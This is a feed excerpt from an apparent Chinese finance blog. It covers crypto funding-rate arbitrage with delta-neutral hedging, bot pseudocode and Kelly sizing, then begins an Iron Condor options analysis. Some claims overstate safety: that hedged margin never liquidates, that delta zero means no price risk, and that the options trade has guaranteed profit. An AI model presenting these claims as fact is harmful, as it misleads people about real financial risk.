观察者视角</strong>（小白起点）</p><p><em>核心问题：为什么有人愿意每8小时付我钱？</em></p><p><strong>答案推导：</strong></p><ul><li>投机者想用杠杆赌价格涨跌</li><li>永续合约没有交割期，需要机制让价格锚定现货</li><li>资金费率 = 让多空双方互相支付的平衡机制</li><li>当多头过多时，多头付费给空头 → 鼓励更多人做空 → 价格回归</li></ul><p><strong>本质理解：</strong> 他们付的不是&quot;利息&quot;，而是&quot;让永续合约价格不脱离现货的成本&quot;</p><hr><p><strong>Layer 2: 参与者视角</strong>（理解Delta中性）</p><p><em>核心问题：如果BTC从$50k涨到$100k，我会亏吗？</em></p><p><strong>推导过程：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">假设本金：$10,000</span><br><span class="line">操作：买入$10,000 BTC现货 + 做空$10,000 BTC期货</span><br><span class="line"></span><br><span class="line">价格从$50k → $100k（+100%）：</span><br><span class="line">├─ 现货收益：$10,000 × 100% = +$10,000</span><br><span class="line">├─ 期货亏损：$10,000 × 100% = -$10,000</span><br><span class="line">└─ 净损益：+$10,000 - $10,000 = $0（仅损失手续费约$26）</span><br><span class="line"></span><br><span class="line">价格从$50k → $25k（-50%）：</span><br><span class="line">├─ 现货亏损：$10,000 × 50% = -$5,000</span><br><span class="line">├─ 期货收益：$10,000 × 50% = +$5,000</span><br><span class="line">└─ 净损益：-$5,000 + $5,000 = $0（仅损失手续费）</span><br></pre></td></tr></table></figure><p><strong>关键结论：</strong></p><ul><li>价格涨跌 ≠ 你的盈亏</li><li>你的收益 = 资金费率收入 - 交易成本</li><li>Delta为0 = 价格风险为0</li></ul><hr><p><strong>Layer 3: 风控者视角</strong>（理解真实风险）</p><p><em>核心问题：既然价格对冲了，风险在哪？</em></p><p><strong>风险分类：</strong></p><p><strong>已对冲的风险</strong>（不用担心）</p><ul><li>价格慢速上涨/下跌（无论多大幅度）</li><li>市场情绪波动</li><li>正常的价格波动</li></ul><p><strong>未对冲的风险</strong>（真正要防范的）</p><ol><li><p><strong>极端长针行情</strong></p><ul><li>现象：几分钟内价格暴涨5倍</li><li>后果：期货爆仓，现货来不及卖出</li><li>实际损失：手续费 + 小幅价差（不是理论上的巨额亏损）</li></ul></li><li><p><strong>交易所技术故障</strong></p><ul><li>现象：API失效、系统宕机</li><li>后果：无法及时调整仓位</li><li>防范：多交易所分散</li></ul></li><li><p><strong>流动性枯竭</strong></p><ul><li>现象：极端行情下买卖盘消失</li><li>后果：无法按预期价格平仓</li><li>防范：只做主流币（BTC/ETH）</li></ul></li><li><p><strong>交易所跑路</strong></p><ul><li>现象：FTX式暴雷</li><li>后果：资金全损</li><li>防范：不要把所有资金放在一个交易所</li></ul></li></ol><p><strong>核心认知转变：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">初学者担心：价格涨跌会让我亏钱</span><br><span class="line">实际风险是：系统性崩溃导致对冲机制失效</span><br></pre></td></tr></table></figure><p><strong>风险管理策略：</strong></p><ul><li>币种选择：主流币（市值Top 20）</li><li>仓位控制：单币种不超过总资金10%</li><li>交易所分散：不要all-in单个平台</li><li>爆仓距离：保持30%以上安全边际</li></ul><hr><p><strong>三层认知的递进关系：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Layer 1（观察）：理解&quot;为什么能赚钱&quot;</span><br><span class="line">    ↓</span><br><span class="line">Layer 2（参与）：理解&quot;价格不是风险&quot;</span><br><span class="line">    ↓</span><br><span class="line">Layer 3（风控）：理解&quot;真正的风险是什么&quot;</span><br></pre></td></tr></table></figure><p>只有完成这三层认知，才算真正理解资金费率套利的本质。</p><h2 id="2-基础套利策略">2. 基础套利策略</h2><h3 id="2-1-策略类型矩阵">2.1 策略类型矩阵</h3><table><thead><tr><th>费率情况</th><th>策略类型</th><th>操作</th><th>预期年化</th></tr></thead><tbody><tr><td>正费率</td><td>正向套利</td><td>买现货+空期货</td><td>15-50%</td></tr><tr><td>负费率</td><td>反向套利</td><td>借币卖空+多期货</td><td>10-30%</td></tr><tr><td>高波动</td><td>动态对冲</td><td>实时调整仓位</td><td>20-60%</td></tr></tbody></table><p><strong>收益构成：</strong> 资金费率收益 + 价差套利 - 交易成本 - 滑点损失</p><h3 id="2-2-操作流程">2.2 操作流程</h3><p><strong>标准套利流程：</strong></p><ol><li>监控费率：筛选&gt;0.01%的正费率币种</li><li>建仓：同时买入现货+做空期货</li><li>收费：每8小时收取资金费率</li><li>平仓：费率转负或达到目标收益时平仓</li></ol><h3 id="2-3-风险边界三问">2.3 风险边界三问</h3><p><strong>1. 保证金还有多少缓冲？</strong></p><ul><li>目标：保证金安全边际 ≥30%，负资金费率或波动出现时仍能扛住。</li><li>做法：用 1×~2×杠杆、按名义价值衡量Delta，随时监控爆仓价格与现价的距离。</li><li>极端案例提醒：2024 年 TRB 秒针把部分空头打穿，损失来自价差和手续费，而非本金归零；小币种不要重仓。</li></ul><p><strong>2. 对手方是否可靠？</strong></p><ul><li>多所分散：资金不集中在单一交易所，避免 FTX 式黑天鹅。</li><li>运行状态：订阅交易所维护公告，API 异常立即切手动；准备备用网络、备用账号。</li><li>现金流：同时关注借币利率、资金转帐耗时，防止被动断粮。</li></ul><p><strong>3. 流动性会瞬间消失吗？</strong></p><ul><li>只做主流币（BTC/ETH 及市值前 20），日均量 &lt;10 亿美金的标的谨慎。</li><li>设定强平前的“减半仓位”规则，遇到盘口消失或价差异常立即减仓。</li><li>留出随时撤离的稳定币和法币通道，避免提现拥堵时束手无策。</li></ul><p>三问回答清楚后，再决定仓位与继续持有与否。</p><h3 id="2-4-思维校正：常见误读">2.4 思维校正：常见误读</h3><ul><li><strong>爆仓 = 血本无归？</strong> Delta 中性下爆仓意味着被强制平掉期货腿，现货盈利抵消大部分亏损，真正损失是手续费、价差与错失后续费率。重点在于提前减仓而非绝不爆仓。</li><li><strong>高费率 = 高收益？</strong> 高费率往往伴随高波动与流动性缺口，风险调整后收益常低于主流币。优先选择稳定的 0.01%~0.03% 区间，而不是追逐 0.1% 的噪音。</li><li><strong>自动化 = 躺赚？</strong> 程序负责执行速度，人负责黑天鹅判断。搭好监控、预警与手动开关，自动化才能放大优势而不是错误。</li></ul><p>做到这三点时，FAQ 中的操作细节就只剩执行层面的微调。</p><h2 id="3-系统架构与技术实现">3. 系统架构与技术实现</h2><h3 id="3-1-三个最小模块">3.1 三个最小模块</h3><ul><li><strong>行情层</strong>：定时拉取资金费率、现货/永续价格、借币利率，落地到内存或消息队列。</li><li><strong>决策层</strong>：以“费率 - 成本 - 风险缓冲”为评分，生成建仓、减仓、平仓指令。</li><li><strong>执行层</strong>：一次建仓等于现货买入 + 永续做空 + 记录仓位；附带预警、手动兜底、日志。</li></ul><pre><code class="highlight mermaid">graph LR    Data[行情层] --&gt; Logic[决策层]    Logic --&gt; Execution[执行层]    Execution --&gt;|状态| Monitor[监控与告警]    Monitor --&gt; Logic</code></pre><h3 id="3-2-运行节奏">3.2 运行节奏</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">每 1~5 秒：更新行情 → 计算费率差 → 评估仓位曝光</span><br><span class="line">每 8 小时：对账资金费率 → 校准保证金 → 记录现金流</span><br><span class="line">每日/每周：回放日志、校准阈值、清点跨交易所余额</span><br></pre></td></tr></table></figure><p>触发动作示意：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">if funding_rate &gt; threshold and margin_buffer_ok:</span><br><span class="line">    open_delta_neutral(symbol)</span><br><span class="line"></span><br><span class="line">if margin_buffer &lt; alert_level:</span><br><span class="line">    reduce_position(symbol)</span><br><span class="line"></span><br><span class="line">if exchange_status == &quot;degraded&quot;:</span><br><span class="line">    pause_new_trades()</span><br></pre></td></tr></table></figure><h3 id="3-3-自动化守则">3.3 自动化守则</h3><ul><li>执行脚本与监控脚本分离，异常时可独立重启。</li><li>关键参数（阈值、仓位上限、白名单交易所）写在配置文件，人工审核后再上线。</li><li>数据与日志在本地和云端双备份，确保回溯与撤退时有凭据。</li></ul><p>这套骨架确保“思想可落地”，细节实现留给读者结合自身基础设施自由扩展。</p><h2 id="4-超额机会的市场根源">4. 超额机会的市场根源</h2><h3 id="4-1-认知红利窗口">4.1 认知红利窗口</h3><p><strong>加密市场独有优势：</strong></p><ul><li>准入门槛低：几千美元即可参与</li><li>信息透明：公开API，无内幕垄断</li><li>工具化缺失：多数散户缺乏系统性工具</li></ul><p><strong>核心认知差距：</strong></p><ol><li>永续合约机制理解不足</li><li>Delta中性策略缺乏认知</li><li>系统化风控思维缺失</li></ol><h3 id="4-2-行为偏差的经济价值">4.2 行为偏差的经济价值</h3><p><strong>散户典型行为链：</strong><br>过度自信 → 高杠杆 → 愿付高费率 → 成为套利者利润来源</p><p><strong>市场情绪周期：</strong></p><ul><li>恐慌期：负费率，反向套利机会</li><li>贪婪期：高费率，正向套利黄金期</li></ul><h2 id="5-高级策略与优化">5. 高级策略与优化</h2><h3 id="5-1-跨期限套利策略">5.1 跨期限套利策略</h3><h4 id="5-1-1-永续vs季度合约套利">5.1.1 永续vs季度合约套利</h4><p><strong>基差交易原理：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">基差 = 期货价格 - 现货价格</span><br><span class="line"></span><br><span class="line">当季度合约基差 &gt; 永续合约基差时：</span><br><span class="line">• 买入永续合约</span><br><span class="line">• 卖出季度合约</span><br><span class="line">• 收获基差收敛收益 + 资金费收益</span><br></pre></td></tr></table></figure><p><strong>收益构成分析：</strong></p><ol><li><strong>基差收敛收益</strong>：季度合约到期时基差归零</li><li><strong>资金费收益</strong>：持有永续合约多头收取负费率</li><li><strong>时间价值</strong>：季度合约时间价值衰减</li></ol><h4 id="5-1-2-跨交易所费率差异">5.1.2 跨交易所费率差异</h4><p><strong>核心思路：</strong><br>同一币种在不同交易所的资金费率存在差异时，可以在高费率交易所收取费率，在低费率交易所支付费率，赚取费率差。</p><p><strong>操作要点：</strong></p><ul><li>资金分散到多个交易所</li><li>监控费率差异，差值&gt;0.01%时介入</li><li>注意资金转移成本和时间</li></ul><h3 id="5-2-风险管理的量化优化">5.2 风险管理的量化优化</h3><h4 id="5-2-1-动态仓位管理">5.2.1 动态仓位管理</h4><p><strong>Kelly公式的应用：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">kelly_position_size</span>(<span class="params">win_rate, avg_win, avg_loss, total_capital</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    基于Kelly公式计算最优仓位大小</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># Kelly比例 = (胜率 * 平均盈利 - 败率 * 平均亏损) / 平均盈利</span></span><br><span class="line">    kelly_ratio = (win_rate * avg_win - (<span class="number">1</span> - win_rate) * avg_loss) / avg_win</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 保守起见，使用25%的Kelly比例</span></span><br><span class="line">    conservative_kelly = kelly_ratio * <span class="number">0.25</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 计算建议仓位大小</span></span><br><span class="line">    position_size = total_capital * conservative_kelly</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">max</span>(<span class="number">0</span>, <span class="built_in">min</span>(position_size, total_capital * <span class="number">0.2</span>))  <span class="comment"># 限制最大20%</span></span><br></pre></td></tr></table></figure><h4 id="5-2-2-币种选择与相关性控制">5.2.2 币种选择与相关性控制</h4><p><strong>币种筛选标准：</strong></p><ul><li>市值排名：建议Top 20内</li><li>日均交易量：&gt;$500M</li><li>资金费率稳定：历史正费率比例&gt;70%</li></ul><p><strong>相关性控制：</strong><br>避免同时持有高度相关的币种（如ETH生态系币种），分散到不同板块降低组合风险。</p><h2 id="6-实战FAQ">6. 实战FAQ</h2><p><strong>Q1：如何保证Delta中性？</strong><br>名义价值对等：$10,000现货 + $10,000空头 = Delta为0</p><p><strong>Q2：混合保证金会爆仓吗？</strong><br>不会。价格涨跌时现货和期货盈亏抵消，保证金始终充足</p><p><strong>Q3：手续费影响多大？</strong><br>总成本约0.26%，0.01%日费率需9天回本</p><p><strong>Q4：负费率怎么办？</strong><br>立即平仓或反向套利（借币做空+多期货）</p><p><strong>Q5：不同市场周期策略？</strong></p><ul><li>熊市：反向套利，低仓位</li><li>牛初：积极建仓</li><li>牛末：控制风险</li></ul><p><strong>Q6：大额出金方案？</strong><br>OTC场外、香港银行、海外实体公司</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/fundiing-rate/</id>
    <link href="https://www.blog-blockchain.xyz/finance/fundiing-rate/"/>
    <published>2025-10-05T10:26:20.000Z</published>
    <summary>本文系统拆解资金费率套利策略的经济学基础、市场结构、策略构建、风险控制与自动化执行流程，帮助交易者以Delta中性框架在加密永续合约市场获取稳定收益。</summary>
    <title>资金费率套利完整指南</title>
    <updated>2026-02-19T16:18:01.170Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/finance/"/>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/tags/finance/"/>
    <category term="options" scheme="https://www.blog-blockchain.xyz/tags/options/"/>
    <category term="mathematics" scheme="https://www.blog-blockchain.xyz/tags/mathematics/"/>
    <category term="trading-strategies" scheme="https://www.blog-blockchain.xyz/tags/trading-strategies/"/>
    <category term="quantitative-analysis" scheme="https://www.blog-blockchain.xyz/tags/quantitative-analysis/"/>
    <content>
      <![CDATA[<h2 id="1-引言：套利理论基础与案例特征分析">1. 引言：套利理论基础与案例特征分析</h2><p>本章从套利理论的基本概念出发，引入Iron Condor期权组合策略的核心特征。<strong>核心发现</strong>：通过精确的数学建模，证明了该策略在理想市场条件下能够实现数学保证的正收益，最低收益$52，最高收益$10,052，理论亏损概率为零。本章将建立完整的研究假设框架，为后续深入的数学分析奠定基础。</p><p><strong>套利</strong>的本质是通过识别市场中的价格错配机会，以无风险或低风险方式获取确定性收益。在传统意义上，套利者通过同时在不同市场买卖相同或相关资产，利用价格差异实现盈利，如同一资产在不同市场的价格差异所创造的无风险套利机会。</p><p>本研究所分析的Iron Condor期权组合策略展现出独特的收益特征：</p><ul><li><strong>理论收益下界</strong>：数学保证的最低收益$52</li><li><strong>理论收益上界</strong>：在最优价格条件下可实现$10,052收益</li><li><strong>资金成本效率</strong>：初始资金占用相对较低</li><li><strong>理论风险特性</strong>：在模型假设条件下亏损概率为零</li></ul><p><strong>重要说明</strong>：以上数值基于理想化数学模型的理论分析结果，实际交易环境中需要考虑交易成本、流动性约束等现实因素对理论值的影响。</p><p>基于上述理论特征，本研究将通过严格的数学建模方法，深入分析这一期权组合策略的套利机制与风险收益结构。</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Iron Condor策略结构&quot;        A[&quot;Iron Condor组合策略&quot;] --&gt; B[&quot;Bull Put Spread&lt;br/&gt;看涨价差组合&quot;]        A --&gt; C[&quot;Bear Call Spread&lt;br/&gt;看跌价差组合&quot;]        B --&gt; D[&quot;卖出800 Put&lt;br/&gt;收入$9,944&quot;]        B --&gt; E[&quot;买入700 Put&lt;br/&gt;支出$1,000&quot;]        C --&gt; F[&quot;卖出800 Call&lt;br/&gt;收入$2,108&quot;]        C --&gt; G[&quot;买入900 Call&lt;br/&gt;支出$1,000&quot;]    end    subgraph &quot;收益特征&quot;        H[&quot;最低保证收益: $52&quot;]        I[&quot;最高可能收益: $10,052&quot;]        J[&quot;理论亏损概率: 0&quot;]    end    A --&gt; H    A --&gt; I    A --&gt; J    style A fill:#e1f5fe    style H fill:#c8e6c9    style I fill:#fff3e0    style J fill:#ffcdd2</code></pre><h3 id="1-1-研究假设与理论框架">1.1 研究假设与理论框架</h3><h4 id="1-1-1-核心假设条件">1.1.1 核心假设条件</h4><p>为便于数学建模和量化分析，本研究基于以下简化假设：</p><ol><li><p><strong>固定期权价格假设</strong>：使用案例中的具体期权价格进行计算，忽略实际交易中的买卖价差</p><ul><li><strong>简化目的</strong>：避免价差区间计算，直接使用点估计进行精确数学推导</li><li><strong>量化影响</strong>：实际买卖价差约为理论价格的0.5-2%，影响最终收益±$10-40</li></ul></li><li><p><strong>线性分段建模假设</strong>：将期权到期收益建模为分段线性函数</p><ul><li><strong>简化目的</strong>：便于构造连续的总收益函数和进行数学证明</li><li><strong>量化影响</strong>：忽略了期权时间价值的非线性衰减特征</li></ul></li><li><p><strong>静态保证金估算假设</strong>：假定Portfolio Margin保证金为固定值$10,000</p><ul><li><strong>简化目的</strong>：避免复杂的动态保证金计算，便于杠杆效应分析</li><li><strong>量化影响</strong>：实际保证金可能在$8,000-$15,000之间波动，影响收益率计算±20%</li></ul></li></ol><h4 id="1-1-2-假设影响权重分析">1.1.2 假设影响权重分析</h4><p>为评估不同假设对策略结果的影响程度，建立权重评估体系：</p><p><strong>表4：假设影响权重评估</strong></p><table><thead><tr><th>假设类别</th><th>影响权重</th><th>影响程度</th><th>主要表现</th><th>风险等级</th></tr></thead><tbody><tr><td>固定期权价格假设</td><td>15%</td><td>中等</td><td>收益偏差±$10-40</td><td>🟡 中风险</td></tr><tr><td>线性分段建模假设</td><td>25%</td><td>较高</td><td>忽略时间价值衰减</td><td>🟡 中风险</td></tr><tr><td>静态保证金假设</td><td>60%</td><td>最高</td><td>收益率偏差±20%</td><td>🔴 高风险</td></tr></tbody></table><h4 id="1-1-3-敏感性分析">1.1.3 敏感性分析</h4><p><strong>关键参数敏感性测试</strong>：</p><ol><li><p><strong>保证金变动影响</strong>：</p><ul><li>基准情况：$10,000 → 年化收益率0.52%</li><li>悲观情况：$15,000 → 年化收益率0.35%</li><li>乐观情况：$8,000 → 年化收益率0.65%</li></ul></li><li><p><strong>交易成本影响</strong>：</p><ul><li>无成本：理论收益$52</li><li>低成本（$20）：实际收益$32</li><li>高成本（$80）：实际收益-$28（策略失效）</li></ul></li><li><p><strong>价格偏差影响</strong>：</p><ul><li>1%偏差：收益变动±$20</li><li>2%偏差：收益变动±$40</li><li>5%偏差：收益变动±$100</li></ul></li></ol><p><strong>结论</strong>：在合理假设范围内，理论模型提供了有效的分析框架，但保证金假设对结果影响最大，实际应用中需要对关键假设进行持续监控和动态调整。</p><pre><code class="highlight mermaid">flowchart LR    subgraph &quot;研究方法论框架&quot;        A[&quot;数学建模假设&quot;] --&gt; B[&quot;分段函数构造&quot;]        B --&gt; C[&quot;套利机制证明&quot;]        C --&gt; D[&quot;风险收益分析&quot;]    end    subgraph &quot;核心假设&quot;        E[&quot;固定期权价格&lt;br/&gt;±$10-40影响&quot;]        F[&quot;线性分段建模&lt;br/&gt;忽略时间价值&quot;]        G[&quot;静态保证金$10,000&lt;br/&gt;±20%收益率影响&quot;]    end    A --&gt; E    A --&gt; F    A --&gt; G    style A fill:#e3f2fd    style C fill:#c8e6c9    style E fill:#fff3e0    style F fill:#fff3e0    style G fill:#fff3e0</code></pre><hr><h2 id="2-期权理论基础与数学表示">2. 期权理论基础与数学表示</h2><p>本节将建立完整的期权理论基础，为后续Iron Condor策略分析提供必要的概念框架和数学工具。通过严格的定义和数学表示，我们将构建从基本期权概念到复杂策略组合的完整理论体系。分析内容包括：期权基本要素定义、买卖双方权利义务关系、以及价差策略的数学原理。</p><h3 id="2-1-核心术语定义与数学符号约定">2.1 核心术语定义与数学符号约定</h3><p>为确保分析的严谨性，首先建立本研究的标准术语体系和数学符号约定：</p><h4 id="2-1-1-基本术语定义">2.1.1 基本术语定义</h4><p><strong>表1：基本术语定义</strong></p><table><thead><tr><th>术语</th><th>英文</th><th>数学符号</th><th>定义</th><th>应用场景</th><th>备注</th></tr></thead><tbody><tr><td>期权</td><td>Option</td><td>-</td><td>赋予持有人在特定时间以特定价格买入或卖出标的资产权利的金融合约</td><td>全文核心概念</td><td>金融衍生品</td></tr><tr><td>权利金</td><td>Premium</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span></td><td>购买期权需要支付的费用，期权的市场价格</td><td>收益计算基础</td><td>美元/手</td></tr><tr><td>执行价格</td><td>Strike Price</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span></span></td><td>期权合约规定的标的资产买卖价格，行权价格</td><td>策略设计关键</td><td>美元/股</td></tr><tr><td>标的资产价格</td><td>Underlying Price</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span></td><td>标的股票的当前市场价格</td><td>盈亏分析变量</td><td>美元/股</td></tr><tr><td>到期日</td><td>Expiration Date</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span></td><td>期权合约的最后有效日期</td><td>时间价值计算</td><td>具体日期</td></tr><tr><td>内在价值</td><td>Intrinsic Value</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span></td><td>期权立即执行的价值，max(S-K,0)或max(K-S,0)</td><td>价值分析</td><td>非负数值</td></tr><tr><td>时间价值</td><td>Time Value</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span></td><td>期权价值中超出内在价值的部分</td><td>期权定价</td><td>随时间衰减</td></tr><tr><td>价差策略</td><td>Spread Strategy</td><td>-</td><td>同时买入和卖出不同执行价格的同类期权</td><td>策略构造基础</td><td>风险对冲</td></tr></tbody></table><h4 id="2-1-2-数学符号约定">2.1.2 数学符号约定</h4><p><strong>表2：数学符号约定</strong></p><table><thead><tr><th>符号</th><th>含义</th><th>单位</th><th>使用范围</th></tr></thead><tbody><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span></td><td>META股票价格</td><td>美元/股</td><td>全文计算</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>第i个期权的执行价格</td><td>美元/股</td><td>期权定价</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>第i个期权的权利金</td><td>美元/手</td><td>成本计算</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Π</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></td><td>策略总收益函数</td><td>美元</td><td>组合分析</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></td><td>Bull Put Spread收益函数</td><td>美元</td><td>策略组件</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span></td><td>Bear Call Spread收益函数</td><td>美元</td><td>策略组件</td></tr></tbody></table><h4 id="2-1-3-期权类型与头寸分类">2.1.3 期权类型与头寸分类</h4><p><strong>表3：期权类型与头寸</strong></p><table><thead><tr><th>类型</th><th>英文</th><th>数学表示</th><th>功能</th><th>头寸符号</th></tr></thead><tbody><tr><td>看涨期权</td><td>Call Option</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mclose">)</span></span></span></span></td><td>赋予买入权利</td><td>多头: “+”, 空头: “-”</td></tr><tr><td>看跌期权</td><td>Put Option</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mclose">)</span></span></span></span></td><td>赋予卖出权利</td><td>多头: “+”, 空头: “-”</td></tr><tr><td>多头头寸</td><td>Long Position</td><td>“+”</td><td>买入期权，支付权利金</td><td>有权利无义务</td></tr><tr><td>空头头寸</td><td>Short Position</td><td>“-”</td><td>卖出期权，收取权利金</td><td>有收入有义务</td></tr></tbody></table><p><strong>表5：Iron Condor策略专业术语</strong></p><table><thead><tr><th>术语</th><th>英文</th><th>定义</th><th>在本策略中的作用</th><th>数学表示</th></tr></thead><tbody><tr><td>Iron Condor</td><td>Iron Condor</td><td>组合四个期权的中性策略</td><td>核心策略</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Total</span></span></span></span></span></span><span 